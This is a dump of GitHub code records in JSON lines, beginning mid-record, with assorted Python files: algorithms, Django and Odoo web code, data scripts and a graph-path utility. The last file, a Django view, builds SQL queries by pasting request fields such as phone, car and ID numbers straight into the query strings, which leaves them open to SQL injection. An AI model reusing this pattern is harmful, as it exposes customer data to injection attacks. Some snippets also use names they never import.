{}'.format(first_best_tour_length))\n\n\treturn first_best_solution, points\n\ndef trivial_solver(points):\n\tnode_count = len(points)\n\tsolution = range(0, node_count)\n\treturn solution, points\n","repo_name":"dariocazzani/discrete_optimization","sub_path":"03-tsp/algos.py","file_name":"algos.py","file_ext":"py","file_size_in_byte":7082,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"22269073938","text":"from django.conf import settings\nfrom django.urls import path, re_path\nfrom django.views.static import serve\n\nfrom Blog import views\n\napp_name = 'blog'\n\nurlpatterns = [\n path('', views.index, name='index'), # 首页\n path('list-.html', views.list, name='list'), # 列表页\n path('show-.html', views.show, name='show'), # 内容页\n path('tag/', views.tag, name='tags'), # 标签列表页\n path('s/', views.search, name='search'), # 搜索列表页\n path('about/', views.about, name='about'), # 联系我们单页\n re_path('^media/(?P.*)$', serve, {'document_root': settings.MEDIA_ROOT}),\n]\n","repo_name":"NOTLOOK/newDjango","sub_path":"Blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"43038203567","text":"from collections import deque\n\n\ndef main():\n n, k = map(int, input().split())\n S = [int(input()) for _ in range(n)]\n prod = 1\n que = deque()\n ans = 0\n for s in S:\n if s == 0:\n ans = n\n break\n que.append(s)\n prod *= s\n while que and not prod <= k:\n rm = que.popleft()\n prod //= rm\n ans = max(len(que), ans)\n print(ans)\n\n\nmain()\n","repo_name":"batamorphism/coding","sub_path":"Python/AtCoder/old/abc032_c_1019.py","file_name":"abc032_c_1019.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37111885997","text":"# Exercício 4 Baseado no exercício anterior, escreva uma função que, dado uma\n# lista de emails,\n# deve retornar somente os emails válidos. Caso uma exceção ocorra, apenas a\n# escreva na tela.\n# Exemplo: [\"nome@dominio.com\", \"errad#@dominio.com\", \"outro@dominio.com\"] ->\n# [\"nome@dominio.com\", \"outro@dominio.com\"]\nimport re\n\n\ndef if_emails_are_valid(emails: list):\n regex = (\n r\"^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\\.[a-zA-Z0-9-]+)*$\"\n )\n valid_emails = []\n for email in emails:\n if re.findall(regex, email):\n valid_emails.append(email)\n return valid_emails\n\n\nprint(\n if_emails_are_valid(\n [\"nome@dominio.com\", \"erraddominio.com\", \"outro@dominio.com\"]\n )\n)\n","repo_name":"PedroMarquesFr/python-io","sub_path":"testes_em_python/exercicios_do_dia/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71394678134","text":"import time\nfrom typing import List, Dict\nfrom mysql_utils import *\n\n\ndef backtrack(cursor, page_id: int, root_ids: List, category_tree: Dict = None):\n\n lower_layer = {page_id}\n links = {}\n lower_all = {} # lower layers, use dict to speed up\n\n while len(lower_layer) > 0:\n\n for child in lower_layer:\n lower_all[child] = None # placeholder\n\n upper_layer = set()\n for child in lower_layer:\n if child not in links: # update the BFS graph\n links[child] = set()\n if child in category_tree or child in root_ids: # reach leaf OR already explored in the tree\n continue\n\n parents = mysql_fetch_parent_page_id(cursor, child)\n for parent in parents:\n if parent in lower_all: # cause loop\n continue\n links[child].add(parent)\n upper_layer.add(parent)\n\n lower_layer = upper_layer\n\n # update category tree\n for child, parents in links.items():\n if child not in category_tree:\n category_tree[child] = set()\n category_tree[child].update(parents)\n\n return category_tree\n\n\ndef bfs(tree, source):\n to_explore = [source]\n while len(to_explore) > 0:\n print(len(to_explore))\n current = to_explore[0]\n to_explore = to_explore[1:]\n if current in tree.keys():\n to_explore.extend(tree[current])\n return\n\n\ndef calc_tree_size(tree):\n return sum(len(v) + 1 for v in tree.values())\n\n\ndef calc_node_num(tree):\n return len(tree)\n\n\ndef _test_time(cursor, root_ids, max_id=10**7, print_freq=1000):\n valid_cnt = 0\n i = 0\n category_tree = {}\n t0 = time.time()\n while valid_cnt < max_id:\n title = mysql_fetch_page_title(cursor=cursor, page_id=i, verbose=0)\n i += 1\n if len(title) > 0:\n continue\n valid_cnt += 1\n backtrack(cursor, page_id=i, root_ids=root_ids, category_tree=category_tree)\n if valid_cnt % print_freq == 0:\n print(f\"Processed {valid_cnt} pages, time elapsed: {time.time() - t0:.2f} seconds. \"\n f\"| Tree size (|V|+|E|): {calc_tree_size(category_tree)}.\")\n print(f\"Processed {valid_cnt} pages, time elapsed: {time.time() - t0:.2f} seconds. \"\n f\"| Tree size (|V|+|E|): {calc_tree_size(category_tree)}.\")\n\n\nif __name__ == '__main__':\n from pprint import pprint\n\n db = mysql_connect()\n\n cursor = db.cursor()\n\n root_ids = mysql_fetch_main_topic_id(cursor)\n\n\n # _test_time(cursor, root_ids, max_id=10**6, print_freq=1000)\n # exit()\n\n\n category_tree = {}\n\n t0 = time.time()\n\n backtrack(cursor, page_id=10, root_ids=root_ids, category_tree=category_tree)\n backtrack(cursor, page_id=25520560, root_ids=root_ids, category_tree=category_tree)\n backtrack(cursor, page_id=34049574, root_ids=root_ids, category_tree=category_tree)\n backtrack(cursor, page_id=12, root_ids=root_ids, category_tree=category_tree)\n backtrack(cursor, page_id=14, root_ids=root_ids, category_tree=category_tree)\n backtrack(cursor, page_id=15, root_ids=root_ids, category_tree=category_tree)\n backtrack(cursor, page_id=18, root_ids=root_ids, category_tree=category_tree)\n backtrack(cursor, page_id=694860, root_ids=root_ids, category_tree=category_tree)\n backtrack(cursor, page_id=13348208, root_ids=root_ids, category_tree=category_tree)\n\n t1 = time.time()\n\n print(\"tree size:\", calc_tree_size(category_tree), \"| # nodes:\", calc_node_num(category_tree))\n print(f\"finished in {t1 - t0:.2f} seconds.\")\n # bfs(category_tree, source=14)\n # print(mysql_fetch_page_title(cursor, 63587970))\n\n\n\n","repo_name":"BlankCheng/TinySearchEngine","sub_path":"tree/tree_utils.py","file_name":"tree_utils.py","file_ext":"py","file_size_in_byte":3682,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"35094227374","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def removeNthFromEnd(self, head: ListNode, n: int) -> ListNode:\n templist=head\n l=self.findLengthOfLinkedList(templist)\n m=l-n-1\n \n iteratorlist=head\n if m<=0 and l==n:\n head=head.next\n return head\n \n for i in range(m):\n iteratorlist=iteratorlist.next\n \n iteratorlist.next = iteratorlist.next.next\n \n return head\n \n def findLengthOfLinkedList(self, lists:ListNode)->int:\n c=0\n while (lists):\n c=c+1\n lists=lists.next\n \n return c\n ","repo_name":"danebista/LeetCode-Algorithms","sub_path":"Algorithms-LeetCode/11-20/19. Remove Nth node from the end of a singly linked list.py","file_name":"19. Remove Nth node from the end of a singly linked list.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9231475059","text":"#!/bin/python3\r\n\r\n# takes a python file - outputs bin-snake file (.bs)\r\n\r\nimport sys\r\n\r\ndef add_zero(binary):\r\n\tif len(binary) < 8:\r\n\t\tbinary = f\"0{binary}\"\r\n\t\tbinary = add_zero(binary)\r\n\tif len(binary) == 8:\r\n\t\treturn binary\r\n\r\nif sys.argv[1][-3:] == \".py\":\r\n\tpass\r\nelse:\r\n\tprint(\"This isn't a python file!\")\r\n\texit()\r\n\r\nwith open(sys.argv[1]) as f:\r\n\toutput = \"\"\r\n\tfor i in f.read():\r\n\t\tbinary = bin(ord(i))[2:]\r\n\t\toutput += add_zero(binary)+\"\\n\"\r\nwith open(f\"{sys.argv[1][:-3]}.bs\", 'w') as g:\r\n\tg.write(output)\r\nprint(f\"Created: {sys.argv[1][:-3]}.bs\")","repo_name":"mecaneer23/Bin-snake","sub_path":"Cheating/writer_nl.py","file_name":"writer_nl.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"15444804867","text":"import logging\nimport typing\nimport csv\nimport yaml\n\nfrom django.core.management.base import BaseCommand\nfrom uds.core.util import config\n\nlogger = logging.getLogger(__name__)\n\n\nclass Command(BaseCommand):\n help = \"Show current PUBLIC configuration of UDS broker (passwords are not shown)\"\n\n def add_arguments(self, parser) -> None:\n parser.add_argument(\n '--csv',\n action='store_true',\n dest='csv',\n default=False,\n help='Shows configuration in CVS format',\n )\n parser.add_argument(\n '--yaml',\n action='store_true',\n dest='yaml',\n default=False,\n help='Shows configuration in YAML format',\n )\n\n def handle(self, *args, **options) -> None:\n logger.debug(\"Show settings\")\n config.GlobalConfig.initialize()\n try:\n writer: typing.Any = None\n if options['csv']:\n # Print header\n writer = csv.writer(self.stdout, delimiter=';', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n writer.writerow(['Section', 'Name', 'Value'])\n elif options['yaml']:\n writer = {} # Create a dict to store data, and write at the end\n # Get sections, key, value as a list of tuples\n for section, data in config.Config.getConfigValues().items():\n for key, value in data.items():\n # value is a dict, get 'value' key\n if options['csv']:\n writer.writerow([section, key, value['value']])\n elif options['yaml']:\n if section not in writer:\n writer[section] = {}\n writer[section][key] = value['value']\n else:\n v = value['value'].replace('\\n', '\\\\n')\n self.stdout.write(f'{section}.{key}=\"{v}\"')\n if options['yaml']:\n self.stdout.write(yaml.safe_dump(writer, default_flow_style=False))\n except Exception as e:\n self.stdout.write('The command could not be processed: {}'.format(e))\n self.stdout.flush()\n logger.exception('Exception processing %s', args)\n","repo_name":"Future998/openuds","sub_path":"server/src/uds/management/commands/showconfig.py","file_name":"showconfig.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"29543038375","text":"# -*- coding: utf-8 -*-\nfrom openerp import SUPERUSER_ID\nfrom openerp.addons.web import http\nfrom openerp.http import request\nfrom openerp.addons.website.controllers.main import Website\nfrom openerp.addons.website_crm.controllers.main import contactus\n\nclass Website(Website):\n\n @http.route()\n def index(self, **kw):\n try:\n return request.render('theme_myfactory.home')\n except Exception:\n return super(Website, self).index(**kw)\n\n @http.route('/benefits', type='http', auth=\"public\", website=True)\n def page_benefits(self):\n return request.render('theme_myfactory.benefits')\n\n @http.route('/packages', type='http', auth=\"public\", website=True)\n def page_packages(self):\n return request.render('theme_myfactory.packages')\n\n @http.route('/features', type='http', auth=\"public\", website=True)\n def page_features(self):\n return request.render('theme_myfactory.features')\n\n @http.route('/about-us', type='http', auth=\"public\", website=True)\n def page_about_us(self):\n return request.render('theme_myfactory.about_us')\n\n @http.route('/demo', type='http', auth=\"public\", website=True)\n def page_demo(self):\n return request.render('theme_myfactory.demo')\n\n\n\n @http.route('/ask-for-trial', type='http', auth=\"public\", website=True)\n def page_ask_for_trial(self, **kwargs):\n\n values = {}\n\n products = request.registry['product.product'].search_read(request.cr, SUPERUSER_ID,[],['name'])\n\n values.update(products=products)\n\n for field in ['description', 'partner_name', 'phone', 'contact_name', 'email_from', 'name']:\n if kwargs.get(field):\n values[field] = kwargs.pop(field)\n values.update(kwargs=kwargs.items())\n\n return request.render('theme_myfactory.ask_for_trial', values)\n\n\n\nclass contactus(contactus):\n\n @http.route('/contact-us', type='http', auth=\"public\", website=True)\n def page_contact(self, **kwargs):\n #return super(contactus, self).contact(**kwargs)\n return request.render('theme_myfactory.contact_us')\n\n @http.route('/contact-us/thank-you', type='http', auth=\"public\", website=True)\n def page_thank_you(self, **kwargs):\n # return super(contactus, self).contact(**kwargs)\n return request.render('theme_myfactory.contact_us_thank_you')\n\n @http.route()\n def contact(self, **kwargs):\n return request.redirect('/contact-us')\n\n @http.route(['/crm/contactus'], type='http', auth=\"public\", website=True)\n def contactus(self, **kwargs):\n def dict_to_str(title, dictvar):\n ret = \"\\n\\n%s\" % title\n for field in dictvar:\n ret += \"\\n%s\" % field\n return ret\n\n _TECHNICAL = ['show_info', 'view_from', 'view_callback'] # Only use for behavior, don't stock it\n _BLACKLIST = ['id', 'create_uid', 'create_date', 'write_uid', 'write_date', 'user_id',\n 'active'] # Allow in description\n _REQUIRED = ['name', 'contact_name', 'email_from',\n 'description'] # Could be improved including required from model\n\n post_file = [] # List of file to add to ir_attachment once we have the ID\n post_description = [] # Info to add after the message\n values = {}\n\n values['medium_id'] = request.registry['ir.model.data'].xmlid_to_res_id(request.cr, SUPERUSER_ID,\n 'crm.crm_medium_website')\n values['section_id'] = request.registry['ir.model.data'].xmlid_to_res_id(request.cr, SUPERUSER_ID,\n 'website.salesteam_website_sales')\n for field_name, field_value in kwargs.items():\n if hasattr(field_value, 'filename'):\n post_file.append(field_value)\n elif field_name in request.registry['crm.lead']._fields and field_name not in _BLACKLIST:\n values[field_name] = field_value\n elif field_name not in _TECHNICAL: # allow to add some free fields or blacklisted field like ID\n post_description.append(\"%s: %s\" % (field_name, field_value))\n\n # If name (subject) is not defined, use contact_name as name\n if \"name\" not in kwargs and values.get(\"contact_name\"):\n values[\"name\"] = values.get(\"contact_name\")\n\n # description is required, so it is always already initialized\n if post_description:\n values['description'] += dict_to_str(_(\"Custom Fields: \"), post_description)\n\n # Show technical info on description\n if kwargs.get(\"show_info\"):\n post_description = []\n environ = request.httprequest.headers.environ\n post_description.append(\"%s: %s\" % (\"IP\", environ.get(\"REMOTE_ADDR\")))\n post_description.append(\"%s: %s\" % (\"USER_AGENT\", environ.get(\"HTTP_USER_AGENT\")))\n post_description.append(\"%s: %s\" % (\"ACCEPT_LANGUAGE\", environ.get(\"HTTP_ACCEPT_LANGUAGE\")))\n post_description.append(\"%s: %s\" % (\"REFERER\", environ.get(\"HTTP_REFERER\")))\n values['description'] += dict_to_str(_(\"Environ Fields: \"), post_description)\n\n # Create lead\n lead_id = self.create_lead(request, dict(values, user_id=False), kwargs)\n values.update(lead_id=lead_id)\n\n # Create attachment if any\n if lead_id:\n for field_value in post_file:\n attachment_value = {\n 'name': field_value.filename,\n 'res_name': field_value.filename,\n 'res_model': 'crm.lead',\n 'res_id': lead_id,\n 'datas': base64.encodestring(field_value.read()),\n 'datas_fname': field_value.filename,\n }\n request.registry['ir.attachment'].create(request.cr, SUPERUSER_ID, attachment_value,\n context=request.context)\n\n return request.redirect('/contact-us/thank-you')","repo_name":"nobrother/project_myfactory","sub_path":"theme_myfactory/controllers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29055478566","text":"import numpy as np\n\nclass TwoChannelMyoControl:\n\n STATES = {'idle':0, 'close':1, 'open':2, 'cc':3} # 'cc' stands for co-contraction\n\n def __init__(self, thresholds = [10,20], cc_lock_duration = 2):\n self.thresholds = thresholds\n self.cc_lock_duration = cc_lock_duration\n self.cc_lock_timer = self.cc_lock_duration + 1\n\n def decide(self, emg):\n if len(emg)==0:\n return self.STATES['idle'], [0, 0]\n\n mav = self.mav(emg)\n # If co-contraction occured recently, lock output to 'idle' for some time,\n # to filter out other detected co-contractions and stuff detected during\n # the return from co-contraction.\n if self.cc_lock_timer <= self.cc_lock_duration:\n self.cc_lock_timer += 1\n return self.STATES['idle'], mav\n else:\n decision = self.decode_intent(mav)\n if decision == self.STATES['cc']:\n self.cc_lock_timer = 0\n return decision, mav\n\n\n def decode_intent(self, mav):\n above_below_threshold = [mav[i] > self.thresholds[i] for i in range(len(mav))]\n # Binary mapping that gives:\n # '0' for 'idle', '1' for 'up',\n # '2' for 'down', '3' for co-contraction:\n return above_below_threshold[0] + 2 * above_below_threshold[1]\n\n def mav(self, sig):\n res = abs(sig).mean(axis=0)\n return res.tolist()\n","repo_name":"smetanadvorak/myo_ecn","sub_path":"examples/prosthetic_control/TwoChannelMyocontrol.py","file_name":"TwoChannelMyocontrol.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"23207066085","text":"import numpy as np\r\nimport pandas as py\r\n\r\nNUMBER_OF_SONGS = 1000\r\n\r\ndef main():\r\n\t# Initialize mean matrix\r\n\tmean_20 = np.zeros((1000,20))\r\n\tmean_15 = np.zeros((1000,15))\r\n\r\n\t# Initialize covariance matrix\r\n\tcov_20 = np.zeros((1000,20,20))\r\n\tcov_15 = np.zeros((1000,15,15))\r\n\r\n\tfor i in xrange(0,NUMBER_OF_SONGS):\r\n\t\t# Read data for each song\r\n\t\tdata_20 = py.read_csv('data.csv', header=None, index_col=False, nrows=750, skiprows=(750*i));\r\n\t\tdata_20 = data_20.iloc[:,0:20]\r\n\t\tdata_15 = data_20.iloc[:,0:15]\r\n\r\n\t\tmean_20[i] = data_20.mean().as_matrix().T\r\n\t\tmean_15[i] = data_15.mean().as_matrix().T\r\n\r\n\t\tcov_20[i] = data_20.cov().as_matrix()\r\n\t\tcov_15[i] = data_15.cov().as_matrix()\r\n\r\n\tcov_20 = cov_20.reshape(NUMBER_OF_SONGS*20,20)\r\n\tcov_15 = cov_15.reshape(NUMBER_OF_SONGS*15,15)\r\n\r\n\tmean_20 = py.DataFrame(mean_20)\r\n\tmean_15 = py.DataFrame(mean_15)\r\n\tcov_20 = py.DataFrame(cov_20)\r\n\tcov_15 = py.DataFrame(cov_15)\r\n\r\n\r\n\tmean_20.to_csv('mean_20.csv', header=False, index=False)\r\n\tmean_15.to_csv('mean_15.csv', header=False, index=False)\r\n\tcov_20.to_csv('cov_20.csv', header=False, index=False)\r\n\tcov_15.to_csv('cov_15.csv', header=False, index=False)\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\tmain()\r\n","repo_name":"lmnextracts/rock-or-not","sub_path":"dataProcessing.py","file_name":"dataProcessing.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43231197439","text":"emails = {'mgu.edu': ['andrei_serov', 'alexander_pushkin', 'elena_belova', 'kirill_stepanov'],\n \t'gmail.com': ['alena.semyonova', 'ivan.polekhin', 'marina_abrabova'],\n \t'msu.edu': ['sergei.zharkov', 'julia_lyubimova', 'vitaliy.smirnoff'],\n \t'yandex.ru': ['ekaterina_ivanova', 'glebova_nastya'],\n \t'harvard.edu': ['john.doe', 'mark.zuckerberg', 'helen_hunt'],\n \t'mail.ru': ['roman.kolosov', 'ilya_gromov', 'masha.yashkina']}\nfor domen in emails:\n\tvalue = emails[domen]\n\tfor name in value:\n\t\tprint (f\"{name}@{domen}\") #Возможно есть вариант лучше?","repo_name":"Soundveyve/OneRepository","sub_path":"Dict and tuple/task5.py","file_name":"task5.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1650143232","text":"import logging\nfrom typing import Optional\nfrom urllib.parse import urljoin, urlparse\n\nimport utils.logging_config # isort:skip\n\nlogger = logging.getLogger(__name__)\n\n\nclass URLSanitizer:\n def get_hostname(self, url: str) -> str:\n try:\n result = urlparse(url)\n return result.scheme + \"://\" + result.hostname\n except:\n logger.error(f\"Unable to extracte host from URL: {url}\")\n return False\n\n def sanitize_url(self, hostname: str, url: str) -> Optional[str]:\n try:\n result = urlparse(url)\n if not result.scheme or not result.netloc:\n res = hostname\n if result.path:\n res = (\n f\"{res}/{result.path}\"\n if not result.path.startswith(\"/\")\n else f\"{res}{result.path}\"\n )\n if result.params:\n res = f\"{res};{result.params}\"\n if result.query:\n res = f\"{res}?{result.query}\"\n if result.fragment:\n res = f\"{res}?{result.fragment}\"\n return urljoin(res, \".\")\n return urljoin(url, \".\")\n except:\n logger.warning(f\"URL {url} is not valid\")\n return None\n","repo_name":"GuyGrinwald/website-scraping-service-python","sub_path":"scraper/url_sanitizer.py","file_name":"url_sanitizer.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7111252117","text":"import networkx as nx\n\n\ndef tight_neighbours(parser):\n if (parser.args.debug > -1):\n print(\"Computing tight neighbours based on winning path position\")\n\n # computing simple paths:\n G = nx.Graph()\n\n for key,value_list in parser.neighbour_dict.items():\n for value in value_list:\n G.add_edge(key, value)\n\n max_path_length = len(parser.black_initial_positions) + int((parser.depth + 1)/2)\n\n all_simple_paths = []\n\n for start in parser.start_boarder:\n for end in parser.end_boarder:\n paths = nx.all_simple_paths(G, source=start, target=end, cutoff=max_path_length-1)\n plist = list(paths)\n all_simple_paths.extend(plist)\n\n # getting the minimal paths:\n all_minimal_paths, max_length = all_short_simple_paths(parser)\n\n # only paths of minimals paths:\n original_minimal_paths = []\n for path in all_simple_paths:\n # we only consider the minimal paths for tight nieghbours:\n # using set to make sure there are no duplicates, which should not be there:\n cur_path_set = list(set(path))\n cur_path_set.sort()\n assert(len(cur_path_set) == len(path))\n if cur_path_set in all_minimal_paths:\n original_minimal_paths.append(path)\n #print(len(original_minimal_paths))\n\n all_pairs_list = []\n # grouping the pair of nodes for each time step:\n for i in range(max_path_length-1):\n cur_pairs_list = []\n for path in original_minimal_paths:\n if (len(path)-2 < i):\n continue\n else:\n if ((path[i],path[i+1]) not in cur_pairs_list):\n cur_pairs_list.append((path[i],path[i+1]))\n cur_pairs_list.sort()\n all_pairs_list.append(cur_pairs_list)\n\n return all_pairs_list\n\n\n\ndef distance_tight_neighbours(parser):\n start_distance_dict = dict()\n end_distance_dict = dict()\n\n # maximum path length, same as other computations:\n max_path_length = len(parser.black_initial_positions) + int((parser.depth + 1)/2)\n\n # first store distances in dictionaries, easier to access:\n for lst in parser.parsed_dict['#distances']:\n position = parser.rearranged_positions.index(lst.pop(0))\n if (len(lst) == 1):\n # if the node is not reachable then we move to next position:\n assert(lst[0] == \"na\")\n continue\n else:\n end_distance = int(lst.pop(0))\n end_distance_dict[position] = end_distance\n # appending start distances in the start_distance_dict:\n temp = []\n for start in lst:\n temp.append(int(start))\n start_distance_dict[position] = list(temp)\n\n #print(start_distance_dict)\n #print(end_distance_dict)\n\n final_distance_neighbour_pairs = []\n # for each witness position, we consider the neighbour relation and loop through the combinations:\n # since we are looking at neighbour pairs, it is enough to look upto max path length - 1:\n for witness_index in range(max_path_length-1):\n cur_index_pairs = []\n #print(witness_index)\n # we only add the edge if the distance from start is there and end is reachable i.e., shorest distance < the distance available in path:\n for pos, cur_neighbour_list in parser.neighbour_dict.items():\n # distance to start board must be same the current position index:\n cur_start_distance = witness_index\n # its neighbour distance must be next position index\n neigh_start_distance = witness_index + 1\n # remaining distance to end position is (max_path_length - cur_start_distance - 1):\n cur_end_distance = max_path_length - cur_start_distance - 1\n # remaining distance is 1 less than for it neighbour:\n neigh_end_distance = max_path_length - cur_start_distance - 2\n #print(pos, cur_neighbour_list)\n #print(cur_start_distance, neigh_start_distance)\n #print(cur_end_distance, neigh_end_distance)\n\n # If the pos is not at the cur_start_distance from any start node, we continue to next one:\n if (pos not in start_distance_dict or pos not in end_distance_dict):\n continue\n elif(cur_start_distance not in start_distance_dict[pos]):\n continue\n # if reachable by start node but to far from end node then also we continue to next one:\n elif(cur_end_distance < end_distance_dict[pos]):\n continue\n else:\n # now we loop through its neighbours and add pairs if they are reachable:\n for neigh in cur_neighbour_list:\n # same conditions for its neighbours as well:\n if (neigh not in start_distance_dict or neigh not in end_distance_dict):\n continue\n elif(neigh_start_distance not in start_distance_dict[neigh]):\n continue\n # if reachable by start node but to far from end node then also we continue to next one:\n elif(neigh_end_distance < end_distance_dict[neigh]):\n continue\n else:\n cur_index_pairs.append((pos,neigh))\n # sorting the pairs:\n cur_index_pairs.sort()\n final_distance_neighbour_pairs.append(cur_index_pairs)\n\n return final_distance_neighbour_pairs\n\n# Computes the unreachable nodes i.e., any node which cannot be in the path from a start node to an end node:\ndef unreachable_nodes(parser):\n G = nx.Graph()\n\n for neighbour_list in parser.parsed_dict['#neighbours']:\n for index in range(1,len(neighbour_list)):\n G.add_edge(neighbour_list[0], neighbour_list[index])\n # Because of two chains:\n if (parser.args.e == 'cgcp'):\n max_path_length = len(parser.parsed_dict['#blackinitials']) + 2*int((parser.depth + 1)/2) + 1\n else:\n max_path_length = len(parser.parsed_dict['#blackinitials']) + int((parser.depth + 1)/2)\n\n spl = dict(nx.all_pairs_shortest_path_length(G))\n\n num_positions = len(parser.parsed_dict['#positions'][0])\n\n count = 0\n unreachable_nodes_list = []\n for pos in parser.parsed_dict['#positions'][0]:\n if (pos not in spl):\n continue\n # setting the min length to maximum value:\n min_start_length = num_positions\n for start in parser.parsed_dict['#startboarder'][0]:\n if (start not in spl[pos]):\n continue\n if (min_start_length > spl[pos][start]):\n min_start_length = spl[pos][start]\n # setting the min length to maximum value:\n min_end_length = num_positions\n for end in parser.parsed_dict['#endboarder'][0]:\n if (end not in spl[pos]):\n continue\n if (min_end_length > spl[pos][end]):\n min_end_length = spl[pos][end]\n if (min_start_length+min_end_length > max_path_length - 1):\n unreachable_nodes_list.append(pos)\n #print(pos,min_start_length,min_end_length)\n count = count + 1\n if (parser.args.debug > -1):\n print(\"Removing unreachable nodes ... \" + str(count) + \" unreachable out of \" + str(num_positions))\n #print(num_positions, count)\n return unreachable_nodes_list\n\ndef all_short_simple_paths(parser):\n if (parser.args.debug > -1):\n print(\"Coumpting all minimal simple paths from start to end boarder\")\n G = nx.Graph()\n\n for key,value_list in parser.neighbour_dict.items():\n for value in value_list:\n G.add_edge(key, value)\n\n max_path_length = len(parser.black_initial_positions) + int((parser.depth + 1)/2)\n count = 0\n\n all_final_paths = []\n # maximum path length for the available winning configurations:\n max_length = 0\n\n\n for start in parser.start_boarder:\n for end in parser.end_boarder:\n paths = nx.all_simple_paths(G, source=start, target=end, cutoff=max_path_length-1)\n plist = list(paths)\n\n set_list = []\n for path in plist:\n set_list.append(set(path))\n\n # sorting the set_list based on path lengths:\n set_list.sort(key=len)\n # For now, quadratic complexity loops:\n\n final_small_paths = []\n\n list_for_avail_paths = list(set_list)\n # checking each path one at a time:\n for path in set_list:\n remove_path_list = []\n # if the current path is not in the avail list then it has been supersumed and remove already, we do not need to do it again:\n if path not in list_for_avail_paths:\n continue\n for temp_path in list_for_avail_paths:\n intersection = set.intersection(path, temp_path)\n if path == intersection:\n remove_path_list.append(temp_path)\n # if the temp_path in the avialable paths is same as intersection, that means the temp_path is same as the path we are checking for:\n if (temp_path == intersection):\n assert(path == temp_path)\n # first removing the large paths:\n for remove_path in remove_path_list:\n list_for_avail_paths.remove(remove_path)\n # adding the current small path:\n final_small_paths.append(path)\n if (len(final_small_paths) != 0):\n count = count + len(final_small_paths)\n # adding all the final small paths:\n for small_path in final_small_paths:\n if (len(small_path) > max_length):\n max_length = len(small_path)\n small_path = list(small_path)\n small_path.sort()\n all_final_paths.append(list(small_path))\n #print(start, end)\n #print(final_small_paths)\n\n #print(count)\n #print(all_final_paths)\n\n return all_final_paths, max_length\n","repo_name":"irfansha/Q-sage","sub_path":"utils/stuttering_bounds.py","file_name":"stuttering_bounds.py","file_ext":"py","file_size_in_byte":9098,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"3906318950","text":"# -*- coding: utf-8 -*-\n \nfrom django.http import HttpRequest,HttpResponse \nfrom django.http import JsonResponse \nfrom json import dumps \nfrom django.core import serializers \nimport json,string\nfrom django.db import connection\n\nfrom datetime import datetime\nfrom . import UDPClient\n\n\n\n\n\n#获取创建订单的鹤位位置,并插入客户信息\ndef freeoilpipe(request):\n global cu_id\n global oil_val\n global t_date\n global date_str\n global cus_p\n global cus_c\n global cus_id\n\n\n\n if request.method == 'POST':\n print(request.body)\n jsonstr=request.body\n object=json.loads(jsonstr)\n #从前端接收到的油的种类\n oil_type=object[u'oil_type']\n #从前端接收到的油的体积\n oil_val=object[u'oil_val']\n #从前端接收到客户手机号\n cus_p=object[u'cus_phone']\n #从前端接收到客户车牌号\n cus_c=object[u'cus_cnumber']\n #从前端接收到身份证号\n cus_id=object[u'cus_idnumber']\n #订购日期??????\n t_date=object[u't_date'] \n date=datetime.now()#登记产生的系统当前时间\n date_str=datetime.strftime(date,'%Y-%m-%d %H:%M:%S')\n print(object)\n #查找出对应油的相关信息\n sql='select area.id,oilcan.id,oilpipe.id,oil.PRICE from area,oilcan,oilpipe,oil where oilcan.OIL_ID=oil.ID AND oilcan.AREA_ID=area.ID AND oilpipe.OILCAN_ID=oilcan.ID AND oil.TYPE='+'\\''+oil_type+'\\'' \n print(sql)\n #插入客户表\n sol=\"insert into customer (phone_num,car_num,id_card) values (\"+'\\''+cus_p+'\\''+','+'\\''+cus_c+'\\''+','+'\\''+cus_id+'\\''+\")\"\n #sol=\"insert into customer (phonenum,car_num,id_card,register_date) values (%s,%s,%s,%s),[cus_p, cus_c, cus_id, date_str]\"\n print(sol)\n #查出客户表id\n sel='select customer.id from customer where phone_num='+'\\''+cus_p+'\\''+'and car_num='+'\\''+cus_c+'\\''+'and id_card='+'\\''+cus_id+'\\''\n \n #把所有的客户信息查出与所插入的客户信息对比\n sal='select customer.phone_num,customer.car_num,customer.id_card from customer'\n\n\n #执行查找出相应的鹤位信息\n with connection.cursor() as cursor:\n cursor.execute(sql)\n data = cursor.fetchall() \n print(data)\n jsonObject=[]\n for row in data:\n result={}\n result['area_name'] =row[0]\n result['oilcan_name']=row[1]\n result['oilpipe_name']=row[2]\n result['price']=row[3]\n jsonObject.append(result)\n print(result)\n \n 